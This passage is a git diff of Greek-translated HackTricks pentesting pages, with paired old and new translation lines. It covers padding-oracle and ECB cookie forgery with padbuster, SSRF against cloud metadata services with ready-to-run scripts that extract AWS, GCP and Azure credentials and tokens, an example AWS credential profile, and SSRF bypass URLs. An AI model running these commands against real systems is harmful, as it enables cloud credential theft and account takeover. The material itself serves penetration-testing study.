7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster θα κάνει αρκετές προσπάθειες και θα σας ρωτήσει ποια συνθήκη είναι η συνθήκη σφάλματος (αυτή που δεν είναι έγκυρη).
Ο Padbuster θα κάνει αρκετές προσπάθειες και θα σας ρωτήσει ποια συνθήκη είναι η συνθήκη σφάλματος (αυτή που δεν είναι έγκυρη).
Στη συνέχεια θα αρχίσει να αποκρυπτογραφεί το cookie (μπορεί να διαρκέσει αρκετά λεπτά).
Στη συνέχεια, θα αρχίσει να αποκρυπτογραφεί το cookie (μπορεί να διαρκέσει αρκετά λεπτά).
Αν η επίθεση έχει πραγματοποιηθεί με επιτυχία, τότε μπορείτε να δοκιμάσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλατε να **κρυπτογραφήσετε** **user=administrator**.
Αν η επίθεση πραγματοποιηθεί με επιτυχία, τότε μπορείτε να δοκιμάσετε να κρυπτογραφήσετε μια συμβολοσειρά της επιλογής σας. Για παράδειγμα, αν θέλατε να **κρυπτογραφήσετε** **user=administrator**.
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
@ -198,7 +207,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**CBC-MAC**
Ίσως ένα cookie μπορεί να έχει κάποια τιμή και να υπογράφεται χρησιμοποιώντας CBC. Τότε, η ακεραιότητα της τιμής είναι η υπογραφή που δημιουργείται χρησιμοποιώντας CBC με την ίδια τιμή. Καθώς συνιστάται να χρησιμοποιείται ως IV ένα μηδενικό διάνυσμα, αυτός ο τύπος ελέγχου ακεραιότητας μπορεί να είναι ευάλωτος.
Ίσως ένα cookie μπορεί να έχει κάποια τιμή και να υπογράφεται χρησιμοποιώντας CBC. Στη συνέχεια, η ακεραιότητα της τιμής είναι η υπογραφή που δημιουργείται χρησιμοποιώντας CBC με την ίδια τιμή. Καθώς συνιστάται να χρησιμοποιείται ως IV ένα μηδενικό διάνυσμα, αυτός ο τύπος ελέγχου ακεραιότητας θα μπορούσε να είναι ευάλωτος.
**Η επίθεση**
@ -208,7 +217,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**ECB**
Αν το cookie είναι κρυπτογραφημένο χρησιμοποιώντας ECB μπορεί να είναι ευάλωτο.\
Αν το cookie είναι κρυπτογραφημένο χρησιμοποιώντας ECB θα μπορούσε να είναι ευάλωτο.\
Όταν συνδέεστε, το cookie που λαμβάνετε πρέπει να είναι πάντα το ίδιο.
**Πώς να ανιχνεύσετε και να επιτεθείτε:**
@ -217,13 +226,20 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
Δημιουργήστε ένα χρήστη με το όνομα για παράδειγμα "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" και ελέγξτε αν υπάρχει κάποιο πρότυπο στο cookie (καθώς το ECB κρυπτογραφεί με τον ίδιο κλειδί κάθε block, τα ίδια κρυπτογραφημένα bytes μπορεί να εμφανιστούν αν το όνομα χρήστη είναι κρυπτογραφημένο).
Θα πρέπει να υπάρχει ένα πρότυπο (με το μέγεθος ενός χρησιμοποιούμενου block). Έτσι, γνωρίζοντας πώς κρυπτογραφούνται μια σειρά "a" μπορείτε να δημιουργήσετε ένα όνομα χρήστη: "a"\*(μέγεθος του block)+"admin". Έπειτα, μπορείτε να διαγράψετε το κρυπτογραφημένο πρότυπο ενός block από το cookie. Και θα έχετε το cookie του ονόματος χρήστη "admin".
Θα πρέπει να υπάρχει ένα πρότυπο (με το μέγεθος ενός χρησιμοποιούμενου block). Έτσι, γνωρίζοντας πώς κρυπτογραφούνται μια σειρά "a" μπορείτε να δημιουργήσετε ένα όνομα χρήστη: "a"\*(μέγεθος του block)+"admin". Στη συνέχεια, μπορείτε να διαγράψετε το κρυπτογραφημένο πρότυπο ενός block από το cookie. Και θα έχετε το cookie του ονόματος χρήστη "admin".
## Αναφορές
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -232,8 +248,8 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -14,21 +14,29 @@
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## AWS
### Κατάχρηση του SSRF στο περιβάλλον AWS EC2
**Το metadata** σημείο πρόσβασης μπορεί να προσπελαστεί από οποιαδήποτε μηχάνημα EC2 και προσφέρει ενδιαφέρουσες πληροφορίες για αυτό. Είναι προσβάσιμο στο url: `http://169.254.169.254` ([πληροφορίες σχετικά με τα metadata εδώ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Το metadata** σημείο πρόσβασης μπορεί να προσπελαστεί από οποιαδήποτε μηχάνημα EC2 και προσφέρει ενδιαφέρουσες πληροφορίες για αυτό. Είναι προσβάσιμο στη διεύθυνση: `http://169.254.169.254` ([πληροφορίες σχετικά με τα metadata εδώ](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Υπάρχουν **2 εκδόσεις** του σημείου πρόσβασης στα metadata. Η **πρώτη** επιτρέπει την **πρόσβαση** στο σημείο πρόσβασης μέσω αιτήσεων **GET** (έτσι μια **SSRF μπορεί να το εκμεταλλευτεί**). Για τη **έκδοση 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), πρέπει να ζητήσετε ένα **διακριτικό** στέλνοντας μια αίτηση **PUT** με ένα **HTTP header** και στη συνέχεια να χρησιμοποιήσετε αυτό το διακριτικό για να έχετε πρόσβαση στα metadata με ένα άλλο HTTP header (έτσι είναι **πιο περίπλοκο να εκμεταλλευτείτε** με μια SSRF).
Υπάρχουν **2 εκδόσεις** του σημείου πρόσβασης στα metadata. Η **πρώτη** επιτρέπει την **πρόσβαση** στο σημείο πρόσβασης μέσω αιτήσεων **GET** (έτσι μια **SSRF μπορεί να το εκμεταλλευτεί**). Για τη **δεύτερη** έκδοση, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), πρέπει να ζητήσετε ένα **διακριτικό** στέλνοντας μια αίτηση **PUT** με ένα **HTTP header** και στη συνέχεια να χρησιμοποιήσετε αυτό το διακριτικό για να έχετε πρόσβαση στα metadata με ένα άλλο HTTP header (έτσι είναι **πιο περίπλοκο να εκμεταλλευτείτε** με μια SSRF).
{% hint style="danger" %}
Σημειώστε ότι αν η μηχανή EC2 επιβάλλει το IMDSv2, [**σύμφωνα με τα έγγραφα**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), η **απάντηση της αίτησης PUT** θα έχει ένα **όριο hop του 1**, κάνοντας αδύνατη την πρόσβαση στα metadata της EC2 από ένα container μέσα στη μηχανή EC2.
Σημειώστε ότι αν η περίπτωση EC2 επιβάλλει το IMDSv2, [**σύμφωνα με τα έγγραφα**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), η **απάντηση της αίτησης PUT** θα έχει ένα **όριο hop του 1**, κάνοντας αδύνατη την πρόσβαση στα metadata του EC2 από ένα container μέσα στην περίπτωση EC2.
Επιπλέον, το **IMDSv2** θα **αποκλείσει επίσης τις αιτήσεις για ανάκτηση διακριτικού που περιλαμβάνουν το `X-Forwarded-For` header**. Αυτό γίνεται για να αποτρέψει τις λανθασμένα ρυθμισμένες αντίστροφες μεσολαβητικές από το να έχουν πρόσβαση σε αυτό.
Επιπλέον, το **IMDSv2** θα **αποκλείσει επίσης τις αιτήσεις για τη λήψη ενός διακριτικού που περιλαμβάνουν το `X-Forwarded-For` header**. Αυτό γίνεται για να αποτρέψει τις λανθασμένα ρυθμισμένες αντίστροφες διακριτικές από το να έχουν πρόσβαση σε αυτό.
{% endhint %}
Μπορείτε να βρείτε πληροφορίες σχετικά με τα [σημεία πρόσβασης στα metadata στα έγγραφα](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Στο παρακάτω σενάριο αποκτώνται κάποιες ενδιαφέρουσες πληροφορίες από αυτό:
Μπορείτε να βρείτε πληροφορίες σχετικά με τα [σημεία πρόσβασης στα metadata στα έγγραφα](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Στο παρακάτω σενάριο αποκτώνται ορισμένες ενδιαφέρουσες πληροφορίες από αυτό:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -88,26 +96,26 @@ echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
Ως ένα παράδειγμα **δημόσιων IAM διαπιστεύσεων** που έχουν εκθέσει μπορείτε να επισκεφθείτε: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Ως ένα παράδειγμα εκθεσμένων **δημόσια διαθέσιμων IAM διαπιστευτηρίων** μπορείτε να επισκεφθείτε: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Μπορείτε επίσης να ελέγξετε δημόσιες **διαπιστεύσεις ασφαλείας EC2** στο: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Μπορείτε επίσης να ελέγξετε τα δημόσια **διαπιστευτήρια ασφαλείας EC2** στο: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Στη συνέχεια μπορείτε να πάρετε **αυτές τις διαπιστεύσεις και να τις χρησιμοποιήσετε με το AWS CLI**. Αυτό θα σας επιτρέψει να κάνετε **οτιδήποτε έχει άδεια ο ρόλος** να κάνει.
Στη συνέχεια μπορείτε να πάρετε **αυτά τα διαπιστευτήρια και να τα χρησιμοποιήσετε με το AWS CLI**. Αυτό θα σας επιτρέψει να κάνετε **οτιδήποτε έχει άδεια ο ρόλος** να κάνει.
Για να επωφεληθείτε από τις νέες διαπιστεύσεις, θα πρέπει να δημιουργήσετε ένα νέο προφίλ AWS όπως αυτό:
Για να εκμεταλλευτείτε τα νέα διαπιστευτήρια, θα πρέπει να δημιουργήσετε ένα νέο προφίλ AWS όπως το παρακάτω:
```
[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
Σημειώστε το **aws\_session\_token**, αυτό είναι απαραίτητο για το προφίλ να λειτουργεί.
Παρατηρήστε το **aws\_session\_token**, αυτό είναι απαραίτητο για το προφίλ να λειτουργεί.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) μπορεί να χρησιμοποιηθεί με τα ανακαλυμένα διαπιστευτήρια για να ανακαλύψετε τα προνόμιά σας και να προσπαθήσετε να αναβαθμίσετε τα προνόμια
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) μπορεί να χρησιμοποιηθεί με τα ανακαλυμμένα διαπιστευτήρια για να μάθετε τα προνόμιά σας και να προσπαθήσετε να αναβαθμίσετε τα προνόμια
### SSRF στα διαπιστευτήρια του AWS ECS (Υπηρεσία Ελαττωμάτων Ελαττωμάτων)
### SSRF στα διαπιστευτήρια του AWS ECS (Υπηρεσία Ελαστικού Ελέγχου Κοντέινερ)
**ECS**, είναι μια λογική ομάδα EC2 παραδειγμάτων στα οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε τη δική σας υποδομή διαχείρισης συστάδων επειδή το ECS διαχειρίζεται αυτό για εσάς. Εάν καταφέρετε να διακινδυνεύσετε την υπηρεσία που εκτελείται στο **ECS**, τα **σημεία μεταδεδομένων αλλάζουν**.
**ECS**, είναι μια λογική ομάδα EC2 παραδειγμάτων στα οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε τη δική σας υποδομή διαχείρισης συστάδων επειδή το ECS το διαχειρίζεται για εσάς. Εάν καταφέρετε να διακινδυνεύσετε την υπηρεσία που εκτελείται στο **ECS**, οι **μεταδεδομένες καταλήγουν**.
Αν έχετε πρόσβαση στο _**http://169.254.170.2/v2/credentials/\<GUID>**_ θα βρείτε τα διαπιστευτήρια της μηχανής του ECS. Αλλά πρώτα πρέπει να **βρείτε το \<GUID>**. Για να βρείτε το \<GUID> πρέπει να διαβάσετε τη μεταβλητή **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** μέσα στη μηχανή.\
Μπορείτε να το διαβάσετε εκμεταλλευόμενοι ένα **Path Traversal** στο `file:///proc/self/environ`\
@ -121,7 +129,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
### SSRF για το AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
Σε αυτήν την περίπτωση οι **διαπιστεύσεις αποθηκεύονται σε μεταβλητές περιβάλλοντος**. Έτσι, για να έχετε πρόσβαση σε αυτές, χρειάζεται να έχετε πρόσβαση σε κάτι σαν το **`file:///proc/self/environ`**.
Σε αυτήν την περίπτωση οι **διαπιστευτήρια αποθηκεύονται σε μεταβλητές περιβάλλοντος**. Έτσι, για να έχετε πρόσβαση σε αυτά, χρειάζεται να έχετε πρόσβαση σε κάτι σαν το **`file:///proc/self/environ`**.
Τα **ονόματα** των **ενδιαφέρουσων μεταβλητών περιβάλλοντος** είναι:
@ -129,15 +137,15 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
Επιπλέον, εκτός από τις διαπιστεύσεις IAM, οι λειτουργίες Lambda έχουν επίσης **δεδομένα συμβάντων που περνούν στη λειτουργία όταν ξεκινά**. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της [διεπαφής εκτέλεσης](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) και μπορεί να περιέχει **ευαίσθητες πληροφορίες** (όπως μέσα στις **stageVariables**). Αντίθετα με τις διαπιστεύσεις IAM, αυτά τα δεδομένα είναι προσβάσιμα μέσω τυπικού SSRF στο **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Επιπλέον, εκτός από τα διαπιστευτήρια IAM, οι λειτουργίες Lambda έχουν επίσης **δεδομένα συμβάντων που περνούν στη λειτουργία όταν ξεκινά**. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της [διεπαφής εκτέλεσης](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) και μπορεί να περιέχει **ευαίσθητες πληροφορίες** (όπως μέσα στις **stageVariables**). Αντίθετα με τα διαπιστευτήρια IAM, αυτά τα δεδομένα είναι προσβάσιμα μέσω του τυπικού SSRF στο **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Σημειώστε ότι οι **διαπιστεύσεις lambda** βρίσκονται μέσα στις **μεταβλητές περιβάλλοντος**. Έτσι, αν το **stack trace** του κώδικα lambda εκτυπώνει μεταβλητές περιβάλλοντος, είναι δυνατόν να τις **εξαγάγετε προκαλώντας ένα σφάλμα** στην εφαρμογή.
Σημειώστε ότι τα **διαπιστευτήρια lambda** βρίσκονται μέσα στις **μεταβλητές περιβάλλοντος**. Έτσι, αν το **stack trace** του κώδικα lambda εκτυπώνει μεταβλητές περιβάλλοντος, είναι δυνατόν να τις **εξαγάγετε προκαλώντας ένα σφάλμα** στην εφαρμογή.
{% endhint %}
### SSRF URL για το AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
Ανακτούμε το `accountId` και την `region` από το API.
Ανακτούμε το `accountId` και την `περιοχή (region)` από το API.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
@ -247,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
Για να **χρησιμοποιήσετε το διαρρεύσαν τοκεν λογαριασμού υπηρεσίας** απλά μπορείτε να κάνετε:
Για να **χρησιμοποιήσετε το διαρρεύσει token λογαριασμού υπηρεσίας** απλά μπορείτε να κάνετε:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@ -290,7 +298,7 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
Το σημείο μεταδεδομένων λειτουργεί με τον ίδιο τρόπο όπως στις VMs αλλά χωρίς μερικά σημεία πρόσβασης:
Το metadata endpoint λειτουργεί με τον ίδιο τρόπο όπως στα VMs αλλά χωρίς μερικά endpoints:
```bash
# /project
# Project name and number
@ -318,7 +326,7 @@ done
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
Δεν υπάρχουν πράγματα όπως AWS Roles ή GCP service account, οπότε μην αναμένετε να βρείτε μεταδεδομένα ή διαπιστευτήρια
Δεν υπάρχουν πράγματα όπως Ρόλοι AWS ή λογαριασμός υπηρεσίας GCP, οπότε μην αναμένετε να βρείτε μεταδεδομένα bot διαπιστευτήρια
{% endhint %}
Τεκμηρίωση διαθέσιμη στο [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
@ -340,7 +348,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
[**Εγγραφές** εδώ](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
* **Πρέπει** να περιέχει τον κεφαλίδα `Metadata: true`
* Δεν πρέπει να περιέχει την κεφαλίδα `X-Forwarded-For`
* Δεν πρέπει να περιέχει τον κεφαλίδα `X-Forwarded-For`
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
@ -367,7 +375,7 @@ curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&res
{% endcode %}
{% endtab %}
{% tab title="PS" %}
{% tab title="ΠΣ" %}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
@ -461,7 +469,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
Σημειώστε ότι στην IBM από προεπιλογή τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμα και αν βρίσκεστε μέσα σε ένα IBM cloud VM.
Σημειώστε ότι στην IBM από προεπιλογή τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανόν να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμα και αν βρίσκεστε μέσα σε ένα IBM cloud VM.
{% endhint %}
{% code overflow="wrap" %}
@ -490,7 +498,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
```
{% endcode %}
Η τεκμηρίωση για τις υπηρεσίες μεταδεδομένων διάφορων πλατφορμών περιγράφεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορεί να γίνει πρόσβαση σε πληροφορίες διαμόρφωσης και εκτέλεσης για τις εικόνες. Κάθε πλατφόρμα προσφέρει μοναδικά σημεία πρόσβασης στις υπηρεσίες μεταδεδομένων της.
Η τεκμηρίωση για τις υπηρεσίες μεταδεδομένων διάφορων πλατφορμών περιγράφεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορεί να γίνει πρόσβαση σε πληροφορίες διαμόρφωσης και εκτέλεσης για τις προγραμματικές περιπτώσεις. Κάθε πλατφόρμα προσφέρει μοναδικά σημεία πρόσβασης για τις υπηρεσίες μεταδεδομένων της.
## Packetcloud
@ -534,9 +542,9 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
## Docker
Τα μεταδεδομένα του Docker μπορούν να προσπελαστούν τοπικά, με παραδείγματα για την ανάκτηση πληροφοριών σχετικά με το container και την εικόνα:
Τα μεταδεδομένα του Docker μπορούν να προσπελαστούν τοπικά, με παραδείγματα για την ανάκτηση πληροφοριών περίπτωσης και εικόνας:
* Απλό παράδειγμα για πρόσβαση σε μεταδεδομένα containers και εικόνων μέσω του Docker socket:
* Απλό παράδειγμα για πρόσβαση σε μεταδεδομένα περιπτώσεων και εικόνων μέσω του Docker socket:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* Μέσα στο container, χρησιμοποιήστε το curl με το Docker socket:
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`

View file

@ -2,19 +2,27 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
Άλλοι τρόποι υποστήριξης των HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στα HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
### Τοπικός Υπολογιστής
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### Τοπικός Φιλοξενητής
```bash
# Localhost
http://127.0.0.1:80
@ -153,7 +161,7 @@ next={domain}&next=attacker.com
```
